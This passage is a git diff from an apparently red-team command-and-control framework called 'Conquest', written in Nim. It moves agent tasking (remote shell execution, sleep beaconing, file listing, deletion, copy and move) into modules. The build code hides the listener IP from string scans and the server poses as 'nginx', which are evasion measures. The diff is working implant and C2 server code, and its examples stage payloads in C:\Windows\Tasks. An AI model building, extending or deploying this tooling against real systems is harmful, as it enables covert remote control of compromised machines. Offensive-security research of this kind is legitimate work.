+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+# Command definition (as seq[Command])
+let commands*: seq[Command] = @[
+ Command(
+ name: "shell",
+ commandType: CMD_SHELL,
+ description: "Execute a shell command and retrieve the output.",
+ example: "shell whoami /all",
+ arguments: @[
+ Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
+ Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
+ ],
+ execute: executeShell
+ )
+]
\ No newline at end of file
diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim
new file mode 100644
index 0000000..98d6a15
--- /dev/null
+++ b/src/modules/sleep.nim
@@ -0,0 +1,43 @@
+import ./manager
+import ../common/[types, utils]
+
+when defined(server):
+ proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
+
+# Implement execution functions
+when defined(agent):
+
+ import os, strutils, strformat
+ import ../agent/core/taskresult
+
+ proc executeSleep(config: AgentConfig, task: Task): TaskResult =
+
+ try:
+ # Parse task parameter
+ let delay = int(task.args[0].data.toUint32())
+
+ echo fmt" [>] Sleeping for {delay} seconds."
+
+ sleep(delay * 1000)
+
+ # Updating sleep in agent config
+ config.sleep = delay
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+# Command definition (as seq[Command])
+let commands* = @[
+ Command(
+ name: "sleep",
+ commandType: CMD_SLEEP,
+ description: "Update sleep delay configuration.",
+ example: "sleep 5",
+ arguments: @[
+ Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
+ ],
+ execute: executeSleep
+ )
+]
\ No newline at end of file
diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim
index a791abb..f681f5b 100644
--- a/src/server/core/agent.nim
+++ b/src/server/core/agent.nim
@@ -135,7 +135,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration
- let agentConfigFile = fmt"../src/agents/{payload}/nim.cfg"
+ let agentConfigFile = fmt"../src/agent/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
@@ -160,7 +160,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
# Build agent by executing the ./build.sh script on the system.
- let agentBuildScript = fmt"../src/agents/{payload}/build.sh"
+ let agentBuildScript = fmt"../src/agent/build.sh"
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...")
diff --git a/src/server/main.nim b/src/server/main.nim
index f3c8f15..6c009ec 100644
--- a/src/server/main.nim
+++ b/src/server/main.nim
@@ -1,6 +1,7 @@
import core/server
-import strutils
+import ../modules/manager
# Conquest framework entry point
when isMainModule:
+ loadModules()
startServer()
\ No newline at end of file
diff --git a/src/server/nim.cfg b/src/server/nim.cfg
index 35db171..649127b 100644
--- a/src/server/nim.cfg
+++ b/src/server/nim.cfg
@@ -1,4 +1,5 @@
# Compiler flags
+-d:server
--threads:on
-d:httpxServerName="nginx"
--outdir:"../bin"
diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim
index d8ada0f..6d36f3c 100644
--- a/src/server/task/dispatcher.nim
+++ b/src/server/task/dispatcher.nim
@@ -1,117 +1,13 @@
import times, strformat, terminal, tables, json, sequtils, strutils
import ./[parser]
import ../utils
+import ../../modules/manager
import ../../common/[types, utils]
-proc initAgentCommands*(): Table[string, Command] =
- var commands = initTable[string, Command]()
-
- commands["shell"] = Command(
- name: "shell",
- commandType: CMD_SHELL,
- description: "Execute a shell command and retrieve the output.",
- example: "shell whoami /all",
- arguments: @[
- Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
- Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
- ]
- )
-
- commands["sleep"] = Command(
- name: "sleep",
- commandType: CMD_SLEEP,
- description: "Update sleep delay configuration.",
- example: "sleep 5",
- arguments: @[
- Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
- ]
- )
-
- commands["pwd"] = Command(
- name: "pwd",
- commandType: CMD_PWD,
- description: "Retrieve current working directory.",
- example: "pwd",
- arguments: @[]
- )
-
- commands["cd"] = Command(
- name: "cd",
- commandType: CMD_CD,
- description: "Change current working directory.",
- example: "cd C:\\Windows\\Tasks",
- arguments: @[
- Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
- ]
- )
-
- commands["ls"] = Command(
- name: "ls",
- commandType: CMD_LS,
- description: "List files and directories.",
- example: "ls C:\\Users\\Administrator\\Desktop",
- arguments: @[
- Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
- ]
- )
-
- commands["rm"] = Command(
- name: "rm",
- commandType: CMD_RM,
- description: "Remove a file.",
- example: "rm C:\\Windows\\Tasks\\payload.exe",
- arguments: @[
- Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
- ]
- )
-
- commands["rmdir"] = Command(
- name: "rmdir",
- commandType: CMD_RMDIR,
- description: "Remove a directory.",
- example: "rm C:\\Payloads",
- arguments: @[
- Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
- ]
- )
-
- commands["move"] = Command(
- name: "move",
- commandType: CMD_MOVE,
- description: "Move a file or directory.",
- example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
- arguments: @[
- Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
- Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
- ]
- )
-
- commands["copy"] = Command(
- name: "copy",
- commandType: CMD_COPY,
- description: "Copy a file or directory.",
- example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
- arguments: @[
- Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
- Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
- ]
- )
-
- return commands
-
-let commands = initAgentCommands()
-
-proc getCommandFromTable(input: string, commands: Table[string, Command]): Command =
- try:
- let command = commands[input]
- return command
- except ValueError:
- raise newException(ValueError, fmt"The command '{input}' does not exist.")
-
-proc displayHelp(cq: Conquest, commands: Table[string, Command]) =
+proc displayHelp(cq: Conquest) =
cq.writeLine("Available commands:")
cq.writeLine(" * back")
- for key, cmd in commands:
+ for key, cmd in getAvailableCommands():
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
cq.writeLine()
@@ -142,13 +38,13 @@ Usage : {usage}
cq.writeLine()
-proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) =
+proc handleHelp(cq: Conquest, parsed: seq[string]) =
try:
# Try parsing the first argument passed to 'help' as a command
- cq.displayCommandHelp(getCommandFromTable(parsed[1], commands))
+ cq.displayCommandHelp(getCommandByName(parsed[1]))
except IndexDefect:
# 'help' command is called without additional parameters
- cq.displayHelp(commands)
+ cq.displayHelp()
except ValueError:
# Command was not found
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
@@ -169,13 +65,13 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
# Handle 'help' command
if parsedArgs[0] == "help":
- cq.handleHelp(parsedArgs, commands)
+ cq.handleHelp(parsedArgs)
return
# Handle commands with actions on the agent
try:
let
- command = getCommandFromTable(parsedArgs[0], commands)
+ command = getCommandByName(parsedArgs[0])
task = cq.parseTask(command, parsedArgs[1..^1])
# Add task to queue